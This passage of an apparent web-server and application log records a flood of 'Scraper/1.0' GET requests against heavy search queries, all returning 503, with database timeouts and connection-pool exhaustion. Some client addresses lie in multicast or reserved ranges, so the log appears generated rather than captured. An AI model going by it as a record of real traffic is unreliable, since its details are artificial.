/api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 275 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 216.91.9.7 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 280 "-" "Scraper/1.0" +Aug 15 14:33:26 web-app-nginx 74.194.246.213 - - [15/Aug/2025:14:33:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 460 "-" "Scraper/1.0" +Aug 15 14:33:26 web-app-nginx 13.75.104.248 - - [15/Aug/2025:14:33:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 339 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 92.60.107.214 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 282 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 228.248.59.8 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 243 "-" "Scraper/1.0" +Aug 15 14:33:25 web-app-nginx 147.145.246.117 - - [15/Aug/2025:14:33:25 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 441 "-" "Scraper/1.0" +Aug 15 14:33:25 web-app-nginx 225.223.200.191 - - [15/Aug/2025:14:33:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 111 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app-nginx 2.213.106.16 - - [15/Aug/2025:14:33:28 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 344 "-" "Scraper/1.0" +Aug 15 14:33:28 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:33:31 web-app-nginx 150.160.99.44 - - [15/Aug/2025:14:33:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 236 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 242.20.111.145 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 111 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 93.12.120.130 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 340 "-" "Scraper/1.0" +Aug 15 14:33:31 web-app-nginx 184.49.120.90 - - [15/Aug/2025:14:33:31 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 328 "-" "Scraper/1.0" +Aug 15 14:33:31 web-app-nginx 119.45.51.98 - - [15/Aug/2025:14:33:31 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 372 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 215.13.181.87 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 468 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 144.233.94.184 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 436 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 196.67.220.153 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 447 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 12.36.158.184 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 363 "-" "Scraper/1.0" +Aug 15 14:33:34 web-app-nginx 137.46.117.160 - - [15/Aug/2025:14:33:34 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 244 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 27.228.234.226 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 284 "-" "Scraper/1.0" +Aug 15 14:33:32 web-app-nginx 209.99.140.19 - - [15/Aug/2025:14:33:32 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 313 "-" "Scraper/1.0" +Aug 15 14:33:33 web-app-nginx 169.115.210.28 - - [15/Aug/2025:14:33:33 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 360 "-" "Scraper/1.0" +Aug 15 14:33:36 web-app-nginx 153.4.165.160 - - [15/Aug/2025:14:33:36 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 108 "-" "Scraper/1.0" +Aug 15 14:33:38 web-app-nginx 221.217.111.97 - - [15/Aug/2025:14:33:38 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 338 "-" "Scraper/1.0" +Aug 15 14:33:38 web-app-nginx 93.167.64.152 - - [15/Aug/2025:14:33:38 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 370 "-" "Scraper/1.0" +Aug 15 14:33:36 web-app-nginx 158.230.88.29 - - [15/Aug/2025:14:33:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 225 "-" "Scraper/1.0" +Aug 15 14:33:37 web-app-nginx 145.52.50.225 - - [15/Aug/2025:14:33:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 442 "-" "Scraper/1.0" +Aug 15 14:33:37 web-app-nginx 22.174.245.127 - - [15/Aug/2025:14:33:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 163 "-" "Scraper/1.0" +Aug 15 14:33:37 web-app-nginx 54.98.156.206 - - [15/Aug/2025:14:33:37 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 274 "-" "Scraper/1.0" +Aug 15 14:33:35 web-app-nginx 63.136.47.156 - - [15/Aug/2025:14:33:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 464 "-" "Scraper/1.0" +Aug 15 14:33:36 web-app-nginx 145.54.85.129 - - [15/Aug/2025:14:33:36 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 446 "-" "Scraper/1.0" +Aug 15 14:33:39 web-app-nginx 250.71.151.83 - - [15/Aug/2025:14:33:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 428 "-" "Scraper/1.0" +Aug 15 14:33:43 web-app-nginx 131.231.56.231 - - [15/Aug/2025:14:33:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 448 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app-nginx 8.63.22.42 - - [15/Aug/2025:14:33:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 162 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 88.160.61.167 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 283 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app-nginx 189.134.169.200 - - [15/Aug/2025:14:33:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 468 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 218.47.236.13 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 115 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 119.71.68.40 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 259 "-" "Scraper/1.0" +Aug 15 14:33:43 web-app-nginx 92.144.191.47 - - [15/Aug/2025:14:33:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 241 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 5.203.176.160 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 209 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app-nginx 79.15.95.192 - - [15/Aug/2025:14:33:44 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 105 "-" "Scraper/1.0" +Aug 15 14:33:40 web-app-nginx 98.123.254.100 - - [15/Aug/2025:14:33:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 397 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 215.2.229.103 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 330 "-" "Scraper/1.0" +Aug 15 14:33:43 web-app-nginx 93.210.56.133 - - [15/Aug/2025:14:33:43 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 473 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 121.95.120.215 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 412 "-" "Scraper/1.0" +Aug 15 14:33:41 web-app-nginx 163.18.45.240 - - [15/Aug/2025:14:33:41 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 125 "-" "Scraper/1.0" +Aug 15 14:33:44 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:33:45 web-app-nginx 158.247.30.190 - - [15/Aug/2025:14:33:45 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 202 "-" "Scraper/1.0" +Aug 15 14:33:45 web-app-nginx 185.52.83.60 - - [15/Aug/2025:14:33:45 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 402 "-" "Scraper/1.0" +Aug 15 14:33:46 web-app-nginx 64.130.5.117 - - [15/Aug/2025:14:33:46 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 233 "-" "Scraper/1.0" +Aug 15 14:33:47 web-app-nginx 206.84.64.252 - - [15/Aug/2025:14:33:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 477 "-" "Scraper/1.0" +Aug 15 14:33:47 web-app-nginx 104.131.127.76 - - [15/Aug/2025:14:33:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 189 "-" "Scraper/1.0" +Aug 15 14:33:45 web-app-nginx 221.200.240.150 - - [15/Aug/2025:14:33:45 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 349 "-" "Scraper/1.0" +Aug 15 14:33:48 web-app-nginx 186.96.16.94 - - [15/Aug/2025:14:33:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 170 "-" "Scraper/1.0" +Aug 15 14:33:46 web-app-nginx 133.99.23.220 - - [15/Aug/2025:14:33:46 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 236 "-" "Scraper/1.0" +Aug 15 14:33:47 web-app-nginx 235.109.241.20 - - [15/Aug/2025:14:33:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 118 "-" "Scraper/1.0" +Aug 15 14:33:49 web-app-nginx 232.156.32.110 - - [15/Aug/2025:14:33:49 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 466 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 70.31.140.174 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 405 "-" "Scraper/1.0" +Aug 15 14:33:50 web-app-nginx 40.172.167.111 - - [15/Aug/2025:14:33:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 142 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 118.196.132.81 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 210 "-" "Scraper/1.0" +Aug 15 14:33:51 web-app-nginx 140.77.239.236 - - [15/Aug/2025:14:33:51 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 129 "-" "Scraper/1.0" +Aug 15 14:33:53 web-app-nginx 168.233.48.96 - - [15/Aug/2025:14:33:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 171 "-" "Scraper/1.0" +Aug 15 14:33:50 web-app-nginx 153.101.145.79 - - [15/Aug/2025:14:33:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 141 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 222.198.230.152 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 218 "-" "Scraper/1.0" +Aug 15 14:33:53 web-app-nginx 238.70.109.188 - - [15/Aug/2025:14:33:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 420 "-" "Scraper/1.0" +Aug 15 14:33:50 web-app-nginx 214.179.131.173 - - [15/Aug/2025:14:33:50 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 255 "-" "Scraper/1.0" +Aug 15 14:33:54 web-app-nginx 28.210.32.44 - - [15/Aug/2025:14:33:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 290 "-" "Scraper/1.0" +Aug 15 14:33:52 web-app-nginx 153.169.133.183 - - [15/Aug/2025:14:33:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 395 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 100.68.63.160 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 405 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 26.62.64.222 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 285 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 70.1.194.24 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 180 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 220.84.66.126 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 230 "-" "Scraper/1.0" +Aug 15 14:33:57 web-app-nginx 16.108.177.43 - - [15/Aug/2025:14:33:57 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 345 "-" "Scraper/1.0" +Aug 15 14:33:56 web-app-nginx 160.204.154.114 - - [15/Aug/2025:14:33:56 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 394 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 9.227.40.78 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 450 "-" "Scraper/1.0" +Aug 15 14:33:59 web-app-nginx 125.163.149.70 - - [15/Aug/2025:14:33:59 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 247 "-" "Scraper/1.0" +Aug 15 14:33:55 web-app-nginx 26.78.115.43 - - [15/Aug/2025:14:33:55 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 132 "-" "Scraper/1.0" +Aug 15 14:33:58 web-app-nginx 215.115.74.142 - - [15/Aug/2025:14:33:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 189 "-" "Scraper/1.0" +Aug 15 14:33:59 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:34:00 web-app-nginx 85.38.197.35 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 101 "-" "Scraper/1.0" +Aug 15 14:34:01 web-app-nginx 46.69.56.68 - - [15/Aug/2025:14:34:01 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 472 "-" "Scraper/1.0" +Aug 15 14:34:04 web-app-nginx 71.35.39.30 - - [15/Aug/2025:14:34:04 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 495 "-" "Scraper/1.0" +Aug 15 14:34:00 web-app-nginx 72.73.70.9 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 305 "-" "Scraper/1.0" +Aug 15 14:34:00 web-app-nginx 135.35.114.135 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 368 "-" "Scraper/1.0" +Aug 15 14:34:00 web-app-nginx 237.254.78.74 - - [15/Aug/2025:14:34:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 279 "-" "Scraper/1.0" +Aug 15 14:34:03 web-app-nginx 33.54.126.207 - - [15/Aug/2025:14:34:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 158 "-" "Scraper/1.0" +Aug 15 14:34:02 web-app-nginx 53.226.243.15 - - [15/Aug/2025:14:34:02 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 279 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 97.7.106.47 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 402 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 209.185.34.158 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 103 "-" "Scraper/1.0" +Aug 15 14:34:05 web-app-nginx 96.83.251.214 - - [15/Aug/2025:14:34:05 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 115 "-" "Scraper/1.0" +Aug 15 14:34:05 web-app-nginx 240.124.102.254 - - [15/Aug/2025:14:34:05 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 445 "-" "Scraper/1.0" +Aug 15 14:34:09 web-app-nginx 237.133.20.42 - - [15/Aug/2025:14:34:09 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 206 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 95.199.134.122 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 123 "-" "Scraper/1.0" +Aug 15 14:34:05 web-app-nginx 241.228.194.175 - - [15/Aug/2025:14:34:05 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 495 "-" "Scraper/1.0" +Aug 15 14:34:07 web-app-nginx 27.215.128.81 - - [15/Aug/2025:14:34:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 169 "-" "Scraper/1.0" +Aug 15 14:34:08 web-app-nginx 28.243.153.28 - - [15/Aug/2025:14:34:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 226 "-" "Scraper/1.0" +Aug 15 14:34:10 web-app-nginx 22.145.160.75 - - [15/Aug/2025:14:34:10 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 149 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 13.134.24.56 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 367 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 26.215.218.18 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 325 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 102.67.83.209 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 447 "-" "Scraper/1.0" +Aug 15 14:34:12 web-app-nginx 254.17.4.166 - - [15/Aug/2025:14:34:12 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 105 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 212.154.201.64 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 147 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 93.9.242.136 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 256 "-" "Scraper/1.0" +Aug 15 14:34:13 web-app-nginx 41.24.196.184 - - [15/Aug/2025:14:34:13 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 448 "-" "Scraper/1.0" +Aug 15 14:34:13 web-app-nginx 27.42.42.144 - - [15/Aug/2025:14:34:13 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 131 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 198.30.119.131 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 444 "-" "Scraper/1.0" +Aug 15 14:34:13 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:34:18 web-app-nginx 38.57.92.112 - - [15/Aug/2025:14:34:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 452 "-" "Scraper/1.0" +Aug 15 14:34:17 web-app-nginx 78.190.81.103 - - [15/Aug/2025:14:34:17 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 255 "-" "Scraper/1.0" +Aug 15 14:34:16 web-app-nginx 33.11.38.42 - - [15/Aug/2025:14:34:16 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 119 "-" "Scraper/1.0" +Aug 15 14:34:19 web-app-nginx 58.193.195.30 - - [15/Aug/2025:14:34:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 369 "-" "Scraper/1.0" +Aug 15 14:34:17 web-app-nginx 63.36.20.156 - - [15/Aug/2025:14:34:17 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 253 "-" "Scraper/1.0" +Aug 15 14:34:15 web-app-nginx 148.163.216.195 - - [15/Aug/2025:14:34:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 319 "-" "Scraper/1.0" +Aug 15 14:34:19 web-app-nginx 206.100.72.250 - - [15/Aug/2025:14:34:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 397 "-" "Scraper/1.0" +Aug 15 14:34:19 web-app-nginx 225.209.70.250 - - [15/Aug/2025:14:34:19 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 125 "-" "Scraper/1.0" +Aug 15 14:34:18 web-app-nginx 65.192.112.120 - - [15/Aug/2025:14:34:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 257 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 6.233.201.143 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 468 "-" "Scraper/1.0" +Aug 15 14:34:21 web-app-nginx 205.161.32.204 - - [15/Aug/2025:14:34:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 333 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 185.236.2.84 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 243 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 54.155.15.83 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 206 "-" "Scraper/1.0" +Aug 15 14:34:23 web-app-nginx 56.195.175.177 - - [15/Aug/2025:14:34:23 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 256 "-" "Scraper/1.0" +Aug 15 14:34:20 web-app-nginx 172.153.144.96 - - [15/Aug/2025:14:34:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 393 "-" "Scraper/1.0" +Aug 15 14:34:20 web-app-nginx 230.98.172.60 - - [15/Aug/2025:14:34:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 400 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 244.192.62.23 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 266 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 110.112.106.215 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 279 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 208.44.217.123 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 143 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 113.54.210.198 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 272 "-" "Scraper/1.0" +Aug 15 14:34:21 web-app-nginx 166.24.148.191 - - [15/Aug/2025:14:34:21 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 251 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 120.186.124.204 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 417 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 137.42.140.34 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 415 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 170.81.4.118 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 235 "-" "Scraper/1.0" +Aug 15 14:34:27 web-app-nginx 193.137.224.190 - - [15/Aug/2025:14:34:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 387 "-" "Scraper/1.0" +Aug 15 14:34:27 web-app-nginx 6.127.18.65 - - [15/Aug/2025:14:34:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 395 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 129.38.45.207 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 424 "-" "Scraper/1.0" +Aug 15 14:34:28 web-app-nginx 116.221.31.135 - - [15/Aug/2025:14:34:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 228 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 148.51.192.173 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 201 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 161.205.234.176 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 383 "-" "Scraper/1.0" +Aug 15 14:34:25 web-app-nginx 127.62.181.60 - - [15/Aug/2025:14:34:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 263 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 90.69.200.239 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 483 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 227.166.93.40 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 235 "-" "Scraper/1.0" +Aug 15 14:34:27 web-app-nginx 34.220.2.72 - - [15/Aug/2025:14:34:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 407 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 186.142.207.44 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 178 "-" "Scraper/1.0" +Aug 15 14:34:25 web-app-nginx 145.19.209.173 - - [15/Aug/2025:14:34:25 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 469 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 59.41.115.146 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 211 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:34:30 web-app-nginx 253.237.186.223 - - [15/Aug/2025:14:34:30 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 216 "-" "Scraper/1.0" +Aug 15 14:34:34 web-app-nginx 208.115.163.15 - - [15/Aug/2025:14:34:34 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 167 "-" "Scraper/1.0" +Aug 15 14:34:32 web-app-nginx 147.199.77.158 - - [15/Aug/2025:14:34:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 215 "-" "Scraper/1.0" +Aug 15 14:34:34 web-app-nginx 191.54.233.38 - - [15/Aug/2025:14:34:34 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 141 "-" "Scraper/1.0" +Aug 15 14:34:30 web-app-nginx 165.12.163.211 - - [15/Aug/2025:14:34:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 312 "-" "Scraper/1.0" +Aug 15 14:34:33 